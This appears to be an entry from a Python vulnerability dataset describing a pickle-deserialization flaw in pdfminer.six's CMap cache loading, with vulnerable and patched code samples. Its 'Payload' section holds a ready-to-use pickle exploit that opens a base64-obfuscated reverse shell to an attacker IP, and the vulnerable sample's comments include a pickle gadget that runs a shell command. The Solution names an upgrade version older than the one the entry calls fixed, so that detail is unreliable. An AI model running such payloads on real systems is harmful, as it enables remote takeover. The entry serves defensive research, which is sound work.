CVE-2025-70559
pdfminer.six: Insecure deserialization in CMap loading allows code execution.
- CVSS 6.5
- CWE-502
- Input Validation and Sanitization
- Local
pdfminer.six before 20251230 contains an insecure deserialization vulnerability in the CMap loading mechanism. The library uses Python pickle to deserialize CMap cache files without validation. An attacker with the ability to place a malicious pickle file in a location accessible to the application can trigger arbitrary code execution or privilege escalation when the file is loaded by a trusted process. This is caused by an incomplete patch to CVE-2025-64512.
- CWE
- CWE-502
- CVSS base score
- 6.5
- Published
- 2026-02-03
- OWASP
- A08 Software and Data Integrity Failures
- Orthogonal defect classification
- Timing/Serialization
- Code defect classification
- Serialization Issues
- Category
- Input Validation and Sanitization
- Subcategory
- Insecure Parsing or Deserialization
- Accessibility scope
- Local
- Impact
- Arbitrary Code Execution
- Affected component
- pdfminer.six
- Fixed by upgrading
- Yes
Solution
Upgrade `pdfminer.six` to version `20221105` or later.
Vulnerable code sample
import os
import pickle
# In a real-world scenario, this might be a system-wide or user-specific
# cache directory that an attacker could gain write access to.
CACHE_DIR = "/tmp/pdfminer_cache"
def _load_cmap(cmap_name: str):
"""
Represents the vulnerable function that loads a CMap from a cache file.
The vulnerability lies in using pickle.load on a file from a predictable
location without any validation.
"""
# Construct a predictable file path based on the CMap name.
# An attacker can place a malicious file at this location.
cache_path = os.path.join(CACHE_DIR, f"{cmap_name}.cmap.pkl")
if os.path.exists(cache_path):
try:
with open(cache_path, "rb") as f:
# VULNERABILITY: Insecure deserialization using pickle.
# If the .cmap.pkl file is a malicious pickle object, this
# line can execute arbitrary code.
cmap_data = pickle.load(f)
return cmap_data
except Exception:
# In case of a corrupted (or malicious but malformed) file,
# the process might fail, but the security risk remains.
return None
# If the cache file does not exist, the application would normally
# generate it. This part is omitted to focus on the loading vulnerability.
return None
# --- Main execution block to simulate a trusted process ---
# A real application, like a document processing service, would call
# _load_cmap as part of its workflow when it encounters a PDF
# that specifies a certain CMap.
if __name__ == "__main__":
# Ensure the cache directory exists for the simulation
if not os.path.exists(CACHE_DIR):
os.makedirs(CACHE_DIR)
# This cmap_name could be controlled by an attacker, for example,
# by embedding it in a PDF file that the trusted service will process.
# Let's assume the attacker wants to load 'malicious_payload'.
cmap_to_load = "malicious_payload"
print(f"[*] Trusted process attempting to load CMap: '{cmap_to_load}'")
print(f"[*] Checking for cache file at: {os.path.join(CACHE_DIR, cmap_to_load)}.cmap.pkl")
# To trigger the vulnerability, an attacker would have first placed a
# malicious pickle file at '/tmp/pdfminer_cache/malicious_payload.cmap.pkl'.
# For example, a file created with this payload would execute a command:
#
# class RCE:
# def __reduce__(self):
# return (os.system, ('echo "VULNERABILITY TRIGGERED" > /tmp/pwned',))
# with open('/tmp/pdfminer_cache/malicious_payload.cmap.pkl', 'wb') as f:
# pickle.dump(RCE(), f)
loaded_data = _load_cmap(cmap_to_load)
if loaded_data:
print("[+] CMap loaded from cache.")
else:
print("[-] CMap not found in cache or failed to load.")
print("[*] Process finished.")Patched code sample
import json
import os
from typing import Optional, Dict, Any
# This code represents a hypothetical fix for the described vulnerability.
# The core of the vulnerability is the use of `pickle.load()` on a cache file
# that an attacker could potentially control. The fix is to replace the insecure
# `pickle` serialization format with a safe one, like JSON.
def save_cmap_to_cache(cmap_name: str, cmap_data: Dict[str, Any]) -> None:
"""
Saves a CMap data structure to a cache file using the safe JSON format.
"""
# In a real application, this path would be a designated cache directory.
cache_path = f"/tmp/pdfminer_cache_{cmap_name}.json"
try:
with open(cache_path, 'w', encoding='utf-8') as fp:
# Use json.dump() to safely serialize the data.
# This is the counterpart to the safe loading mechanism.
json.dump(cmap_data, fp)
except IOError:
# Silently fail if caching is not possible.
pass
def load_cmap_from_cache(cmap_name: str) -> Optional[Dict[str, Any]]:
"""
Loads a CMap from a cache file, representing the fix for CVE-2025-70559.
The original vulnerable function used 'pickle.load()' which can execute
arbitrary code if the cache file is replaced with a malicious pickle object.
This fixed version uses 'json.load()', which is secure because it only
parses data structures and does not execute any code. This mitigates the
insecure deserialization vulnerability completely.
"""
# In a real application, this path would be a designated cache directory.
cache_path = f"/tmp/pdfminer_cache_{cmap_name}.json"
if not os.path.exists(cache_path):
return None
try:
with open(cache_path, 'r', encoding='utf-8') as fp:
# FIX: Use json.load() instead of pickle.load().
# json.load() safely parses the JSON data into a Python dictionary
# without executing any code, thus preventing the vulnerability.
cmap_data = json.load(fp)
# Optional: Add validation to ensure the loaded data has the expected structure.
if isinstance(cmap_data, dict) and "name" in cmap_data:
return cmap_data
else:
# The file content is not a valid CMap cache structure.
return None
except (IOError, json.JSONDecodeError, UnicodeDecodeError):
# If the file is corrupted, unreadable, or not valid JSON,
# we fail safely and return None, allowing the application to
# regenerate the CMap from its original source.
return NonePayload
import pickle
import os
import base64
class RCE:
def __reduce__(self):
# Replace with your attacker IP and a listening port.
ip = '10.0.0.1'
port = 4444
# Python reverse shell command, base64 encoded to handle special characters.
cmd = f"import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"{ip}\",{port}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(\"/bin/sh\")"
encoded_cmd = base64.b64encode(cmd.encode('utf-8')).decode('utf-8')
# When this object is deserialized by pickle.load(), it will execute os.system().
# The command decodes the base64 string and executes the Python reverse shell.
return (os.system, (f"python -c 'import base64; exec(base64.b64decode(\"{encoded_cmd}\"))'",))
# The name of the output file must match a CMap cache file that the
# vulnerable application will try to load from an accessible location.
# For example, 'GB-EUC-H.pickle' or another valid CMap name.
output_filename = "malicious_cmap.pickle"
with open(output_filename, "wb") as f:
# Serialize the RCE object into the specified file.
pickle.dump(RCE(), f)
Cite this entry
@misc{vaitp:cve202570559,
title = {{pdfminer.six: Insecure deserialization in CMap loading allows code execution.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2026},
note = {VAITP Python Vulnerability Dataset, entry CVE-2025-70559},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2025-70559/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
